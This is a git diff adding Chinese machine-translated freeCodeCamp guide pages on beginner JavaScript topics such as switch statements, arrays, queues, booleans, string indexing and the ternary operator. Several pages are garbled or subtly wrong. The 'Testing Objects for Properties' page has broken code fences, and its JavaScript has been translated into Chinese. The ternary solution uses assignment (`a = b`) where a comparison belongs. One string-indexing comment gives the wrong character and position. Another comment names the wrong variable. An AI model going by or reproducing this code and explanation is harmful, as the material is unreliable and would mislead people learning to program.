diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
new file mode 100644
index 0000000000..7771d3342d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
@@ -0,0 +1,127 @@
+---
+title: Selecting from Many Options with Switch Statements
+localeTitle: 从带有开关语句的多个选项中进行选择
+---
+## 从带有开关语句的多个选项中进行选择
+
+_如果您有许多选项可供选择，请使用`switch`语句。 `switch`语句测试一个值，并且可以有许多`case`语句来定义各种可能的值。从第一个匹配的`case`值执行语句，直到遇到`break` 。_
+
+_这是一个伪代码示例：_
+
+```js
+  switch(num) { 
+    case value1: 
+      statement1; 
+      break; 
+    case value2: 
+      statement2; 
+      break; 
+    ... 
+    case valueN: 
+      statementN; 
+      break; 
+  } 
+```
+
+### 多一点解释
+
+switch语句首先计算其表达式。然后它查找第一个`case`子句，其表达式的计算结果与输入表达式的结果相同（使用[严格比较](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) ，（ `===` ）并将控制转移到该子句，执行相关的语句。（如果多个案例匹配）提供的值，即使案例彼此不相等，也会选择匹配的第一个案例。）
+
+如果未找到匹配的`case`子句，程序将查找可选的`default`子句，如果找到，则将控制转移到该子句，执行关联的语句。如果未找到`default`子句，则程序将在`switch`结束后的语句处继续执行。按照惯例， `default`子句是最后一个子句，但不一定如此。
+
+与每个案例标签关联的可选`break`语句确保一旦执行匹配语句，程序就会断开switch，并在switch后的语句处继续执行。如果省略`break` ，程序将继续执行`switch`语句中的下一个语句。 [1](#cite1)
+
+### 问题说明：
+
+_编写一个switch语句，测试`val`并设置以下条件的`answer` ：_
+
+*   `1` - “alpha”，
+*   `2` - “beta”，
+*   `3` - “伽玛”，
+*   `4` - “三角洲”。
+
+## 提示1
+
+请记住，使用严格相等（ `===` ）测试`case`值。
+
+> 现在尝试解决问题！
+
+## 提示2
+
+不要将_“以下条件​​”_视为有序列表，因为它在原始的freeCodeCamp演示中查找，但是作为值和语句，如此处所示
+
+> 现在尝试解决问题！
+
+## 扰流警报！
+
+### 你完全确定你想要的样子吗？ ...
+
+## 基本代码解决方案
+
+```js
+function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+      return "alpha"; 
+      break; 
+    case 2: 
+      return "beta"; 
+      break; 
+    case 3: 
+      return "gamma"; 
+      break; 
+    case 4: 
+      return "delta"; 
+      break; 
+  } 
+ 
+  // Only change code above this line 
+  return answer; 
+ } 
+ 
+ // Change this value to test 
+ caseInSwitch(1); 
+```
+
+### 代码说明
+
+通常忽略的是，使用其他表达式的任何需要严格相等地测试`case`值，如下所示： `case === value`
+
+## 替代代码解决方案
+
+```javascript
+function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch (val){ 
+    case 1: 
+      answer="alpha"; 
+      break; 
+    case 2: 
+      answer="beta"; 
+      break; 
+    case 3: 
+      answer="gamma"; 
+      break; 
+    case 4: 
+      answer="delta"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ caseInSwitch(1); 
+```
+
+·在[repl.it上](https://repl.it/@AdrianSkar/Basic-JS-Switch-statements)运行代码。
+
+### 代码说明
+
+由于您已经在名为`answer`的函数的开头定义了一个变量，并将其定义为最后一个return语句，因此您可以为每个案例为其分配新值，并根据传递给函数的值返回预期答案。
+
+### 来源
+
+1 。 [“switch”的描述 - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch#Description) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
new file mode 100644
index 0000000000..798a43255d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
@@ -0,0 +1,65 @@
+---
+title: Shopping List
+localeTitle: 购物清单
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+在变量**myList中**创建购物清单。该列表应该是包含多个子阵列的多维数组。
+
+每个子数组中的第一个元素应包含一个带有项目名称的字符串。第二个元素应该是代表数量的数字，即`["Chocolate Bar", 15]` 。
+
+列表中应该至少有5个子数组。
+
+*   **myList**应该是一个数组。
+*   每个子数组中的第一个元素都必须是字符串。
+*   每个子数组中的第二个元素都必须是数字。
+*   您的列表中必须至少有5个项目。
+
+#### 相关链接
+
+*   [挑战：将一个阵列嵌套在另一个阵列中](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+多维数组将具有以下轮廓`[[]]` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+每个子阵列应被分离`,`如将在阵列中的任何项目。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+别忘了`;`在你的声明结束时。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+var myList = [["Canned Beans", 3],["Milk Galon", 1],["Cereal", 2],["Toilet Paper", 12],["Sack of Rice", 1]]; 
+```
+
+### 代码说明：
+
+*   创建多维数组。
+*   该数组由五个数组组成，每个数组由一个字符串和一个整数组成，顺序相同。
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
new file mode 100644
index 0000000000..f99f1a64e2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
@@ -0,0 +1,73 @@
+---
+title: Stand in Line
+localeTitle: 站在队中
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+在计算机科学中， _队列_是一种抽象的**数据结构** ，其中项目按顺序保存。可以在**队列**的后面添加新项目，并从**队列**的前面取出旧项目。
+
+编写一个函数`nextInLine` ，它接受一个数组（ **arr** ）和一个数字（ **item** ）作为参数。将数字添加到数组的末尾，然后删除数组的第一个元素。然后， `nextInLine`函数应返回已删除的元素。
+
+*   更改下面的代码`//Your Code here` ，最多`//Change this line` 。
+*   确保您正在编辑`nextInLine`函数的内部。
+*   使用您学习的数组函数将**项目**添加到数组**arr**的末尾。
+*   使用您学习的数组函数从数组**arr中**删除第一个元素。
+*   返回删除的元素。
+
+#### 相关链接
+
+*   [挑战：用push（）操纵数组](http://www.freecodecamp.com/challenges/manipulate-arrays-with-push)
+*   [挑战：使用shift（）操纵数组](http://www.freecodecamp.com/challenges/manipulate-arrays-with-shift)
+*   [挑战：将值传递给带参数的函数](http://www.freecodecamp.com/challenges/passing-values-to-functions-with-arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+`push()`方法将一个项添加到数组的末尾。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+`shift()`方法删除数组的第一个元素。它还返回删除的元素。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+函数`nextInLine`使用**arr**和**item** 。这些是测试将用于传递他们将测试的数组元素的内容。它允许该功能可重复使用。不要硬编码函数内的任何测试。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function nextInLine(arr, item) { 
+  // Your code here 
+  arr.push(item); 
+  var removed = arr.shift(); 
+  return removed;  // Change this line 
+ } 
+```
+
+### 代码说明：
+
+*   在**arr**的末尾按下**项目** 。
+*   在**arr**上调用`shift()`方法以获取第一个项目并将其存储在**已删除的**项目中。
+*   返回**删除** 。
+
+**示例运行**
+
+*   测试`nextInLine([2,1]);`运行。
+*   调用`nextInLine`函数。 **arr**成为\[2\]。 **项目**变为1。
+*   `arr.push(item);`按1到\[2\]。所以**arr**现在是\[2,1\]。
+*   `var removed = arr.shift();`删除第一个元素。所以**arr**现在是\[1\]。 2已被删除并存储在**已删除** 。
+*   `return removed;`返回2。
+
+**_注意_** ：您实际上并不需要**删除**变量。删除的元素可以使用`return arr.shift();`直接`return arr.shift();` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..da96d8c883
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,17 @@
+---
+title: Store Multiple Values in one Variable using JavaScript Arrays
+localeTitle: 使用JavaScript数组在一个变量中存储多个值
+---
+## 使用JavaScript数组在一个变量中存储多个值
+
+数组允许您在单个变量中存储大量不同的数据。您所要做的就是将数据放入数组中，用逗号分隔。像这样......
+
+```javascript
+var arr = ["Code for change", 123]; 
+```
+
+请记住，数组被定义为一行。您将不同的数据存储在单个“行”（变量）中。
+
+如果您需要更多帮助，请查看此链接：
+
+[W3学校的JavaScript阵列](https://www.w3schools.com/js/js_arrays.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..5a85c57e18
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
@@ -0,0 +1,15 @@
+---
+title: Storing Values with the Assignment Operator
+localeTitle: 使用赋值运算符存储值
+---
+## 使用赋值运算符存储值
+
+这就像数学一样！您可以使用'='赋值运算符将变量设置为数据的占位符。换句话说，变量将存储数据。
+```
+var a; 
+ a = 5; // The variable 'a' is equal to 5 
+ 
+ var zxcv; 
+ zxcv = 123; // The variable 'abc' is equal to 123 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..ae6a122003
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: 使用JavaScript从另一个数字中减去一个数字
+---
+## 使用JavaScript从另一个数字中减去一个数字
+
+使用' - '减法运算符，您可以得到两个数字的差异......
+```
+var diff1 = 30 - 14; // Difference is 16 
+ var diff2 = 90 - 60; // Difference is 30 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
new file mode 100644
index 0000000000..1e98b95ba9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
@@ -0,0 +1,64 @@
+---
+title: Testing Objects for Properties
+localeTitle: 测试属性的对象
+---
+## 测试属性的对象
+
+这是一个例子：
+
+```javascript
+// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+ 
+ function checkObj(checkProp) { 
+  // Your Code Here 
+ 
+  return "Change Me!"; 
+ } 
+ 
+ // Test your code by modifying these values 
+ checkObj("gift"); 
+```
+
+这是一个解决方案：
+
+我们在这里不做任何改动：
+
+```javascript
+// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+```
+
+此外，在函数体中我们使用`.hasOwnProperty(propname)`对象方法来确定该对象是否具有给定的属性名称。带有布尔值的`if/else`语句将帮助我们：
+
+```javascript
+function checkObj(checkProp) { 
+  // Your Code Here 
+  if (myObj.hasOwnProperty(checkProp) == true) { 
+    return myObj[checkProp]; 
+  } 
+  else { 
+ ``` 
+ 
+ and change the value of `return` in `else` statement: 
+```
+
+JavaScript的 返回“未找到” } }
+```
+Now, you can change `checkObj` values: 
+```
+
+JavaScript的 //通过修改这些值来测试代码 checkObj（ “礼物”）;
+```
+Here's a full solution: 
+```
+
+JavaScript的 function checkObj（checkProp）{ //你的代码在这里 if（myObj.hasOwnProperty（checkProp）== true）{ return myObj \[checkProp\]; } 其他{ 返回“未找到” } } //通过修改这些值来测试代码 checkObj（ “礼物”）; \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
new file mode 100644
index 0000000000..bf341f3389
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand String Immutability
+localeTitle: 理解字符串不变性
+---
+## 理解字符串不变性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
new file mode 100644
index 0000000000..34d34b30a0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
@@ -0,0 +1,42 @@
+---
+title: Understanding Boolean values
+localeTitle: 了解布尔值
+---
+## 了解布尔值
+
+### 问题解释：
+
+修改`welcomeToBooleans`函数，以便在单击运行按钮时返回`true`而不是`false` 。
+
+### 提示1
+
+您只需要编辑第5行，这样函数就会返回`true`而不是`false` 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+function welcomeToBooleans() { 
+ 
+ // Only change code below this line. 
+ 
+ return true; // Change this line 
+ 
+ // Only change code above this line. 
+ } 
+```
+
+### 代码说明
+
+只需修改`Boolean`值，您就不能将函数从`false`返回到`true`将满足要求。
+
+### 资源
+
+[MDN术语表 - 布尔值](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+
+[Wikipedia - 布尔数据类型](https://en.wikipedia.org/wiki/Boolean_data_type)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
new file mode 100644
index 0000000000..29bec77933
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
@@ -0,0 +1,14 @@
+---
+title: Understanding Case Sensitivity in Variables
+localeTitle: 了解变量中的大小写敏感度
+---
+## 了解变量中的大小写敏感度
+
+一个流行的编程规范是在创建变量名时使用**Camel案例** 。请注意，第一个单词是小写，后面的每个单词都是大写。这里有些例子：
+```
+var camelCase; 
+ var someNumber; 
+ var theBestVariableEver; 
+ var weWillStoreNumbersInThisVariable; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
new file mode 100644
index 0000000000..ea0b730d1d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
@@ -0,0 +1,22 @@
+---
+title: Understanding Undefined Value returned from a Function
+localeTitle: 了解从函数返回的未定义值
+---
+## 了解从函数返回的未定义值
+
+没有`return`语句的函数，输出为`undefined` 。因此，如果您尝试将函数的变量等于没有`return`语句的函数的输出，则该变量将等于`undefined` 。
+
+来吧，像这样定义`addFive()` ......
+
+```javascript
+function addFive() { 
+  sum += 5; 
+ } 
+```
+
+如您所见， `sum`加5而没有问题，但由于没有return语句，因此存在`undefined`输出。
+
+```javascript
+var result = addFive(); // This is undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
new file mode 100644
index 0000000000..1bfc73b803
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
@@ -0,0 +1,7 @@
+---
+title: Understanding Uninitialized Variables
+localeTitle: 了解未初始化的变量
+---
+## 了解未初始化的变量
+
+确保变量具有正确的数据值。保留未初始化的变量，意味着不给它一个值，如果你想对它进行操作，可能会导致问题。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
new file mode 100644
index 0000000000..883353123a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
@@ -0,0 +1,28 @@
+---
+title: Updating Object Properties
+localeTitle: 更新对象属性
+---
+## 更新对象属性
+
+## 暗示：
+
+使用点\*\*。 \*\*表示法访问对象属性。
+
+## 剧透警报：未来的解决方案！
+
+## 解：
+
+```javascript
+// Setup 
+ var myDog = { 
+  "name": "Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ 
+ myDog.name = "Happy Coder"; // Solution 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
new file mode 100644
index 0000000000..a1cad8da43
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
@@ -0,0 +1,12 @@
+---
+title: Use Bracket Notation to Find the First Character in a String
+localeTitle: 使用括号表示法查找字符串中的第一个字符
+---
+## 使用括号表示法查找字符串中的第一个字符
+
+请记住，字符串的第一个字符位于第零个位置。例如：
+```
+var str = "Hello"; 
+ var letter = str[0]; // This equals "H" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..8be80c4dd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
@@ -0,0 +1,19 @@
+---
+title: Use Bracket Notation to Find the Last Character in a String
+localeTitle: 使用括号表示法查找字符串中的最后一个字符
+---
+## 使用括号表示法查找字符串中的最后一个字符
+
+请考虑以下字符串：
+```
+var str = "Coding"; 
+```
+
+这个字符串的长度为6个字符，所以如果你在字符串上使用.length，它会给你6.但请记住第一个字符位于第零个位置。第二个角色位于第一个位置。第三个角色位于第二个位置。
+
+继续前进，你最终得到第六个字符（基于上面的字符串，是'g'）位于第五个位置。这就是你获得字符串的最后一个字符的原因：
+```
+var lastChar = str[str.length - 1]; // This is 6 - 1, which is 5 
+```
+
+这将是'g'。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
new file mode 100644
index 0000000000..e1545884f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
@@ -0,0 +1,7 @@
+---
+title: Use Bracket Notation to Find the Nth Character in a String
+localeTitle: 使用括号表示法查找字符串中的第N个字符
+---
+## 使用括号表示法查找字符串中的第N个字符
+
+请记住，字符串的第一个字符位于第0个位置。所以第二个角色应该在第一个位置。然后第三个角色，应该在...嗯？
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..3e4ea3eebd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
@@ -0,0 +1,13 @@
+---
+title: Use Bracket Notation to Find the Nth-to-Last Character in a String
+localeTitle: 使用括号表示法查找字符串中的第N个到最后一个字符
+---
+## 使用括号表示法查找字符串中的第N个到最后一个字符
+
+请记住，任何字符的位置，是**字符串**的**长度减去1，减去后面的字符数** 。例如，如果您要查找以下字符串的倒数第三个字符：
+```
+var str = "Programming"; 
+ var secondToLastChar = str[str.length - 2]; // This is 'i' 
+```
+
+如你所见，'n'之后还有一个额外的字符（即'g'）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
new file mode 100644
index 0000000000..a5dfc0c369
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
@@ -0,0 +1,53 @@
+---
+title: Use conditional logic with If statements
+localeTitle: 对If语句使用条件逻辑
+---
+## 对If语句使用条件逻辑
+
+### 问题解释：
+
+_在函数内部创建一个`if`语句`"Yes, that was true"`如果参数`wasThatTrue`为`true`则返回`"Yes, that was true"` `"No, that was false"`否则返回`"No, that was false"` 。_
+
+#### 提示1
+
+您的`if`语句将评估您的`(condition)`是`true`还是`false`并执行（如果它的计算结果为`true` ）后面`{statement}`的`{statement}` 。
+
+> _现在尝试解决问题_
+
+#### 提示2
+
+如果您的`(condition)`求值为`false` ，则不会执行`{statement}` ，函数将返回下一个`return`语句。
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+// Setup 
+ function trueOrFalse(wasThatTrue) { 
+ 
+  // Only change code below this line. 
+ 
+  if (wasThatTrue) 
+   { 
+    return "Yes, that was true"; 
+    } 
+  return "No, that was false"; 
+ 
+  // Only change code above this line. 
+ } 
+```
+
+### 代码说明
+
+该函数首先计算`if`条件`(wasThatTrue)`计算结果为`true` 。如果是，则ir返回花括号之间的语句。如果没有，则返回它们之外的下一个`return`语句。
+
+### 资源
+
+*   [“布尔” - MDN词汇表](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+    
+*   [“if ... else” - MDN JavaScript参考](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..a536c2cf26
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Multiple Conditional (Ternary) Operators
+localeTitle: 使用多个条件（三元）运算符
+---
+## 使用多个条件（三元）运算符
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
new file mode 100644
index 0000000000..79b1c83280
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the Conditional (Ternary) Operator
+localeTitle: 使用条件（三元）运算符
+---
+## 使用条件（三元）运算符
+
+### 提示1
+
+使用三元运算符检查是否相等。
+
+### 警告解决方案！
+
+```javascript
+function checkEqual(a, b) { 
+  return (a = b ? true : false ); 
+ } 
+ 
+ checkEqual(1, 2); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
new file mode 100644
index 0000000000..a53b6c172f
--- /dev/null
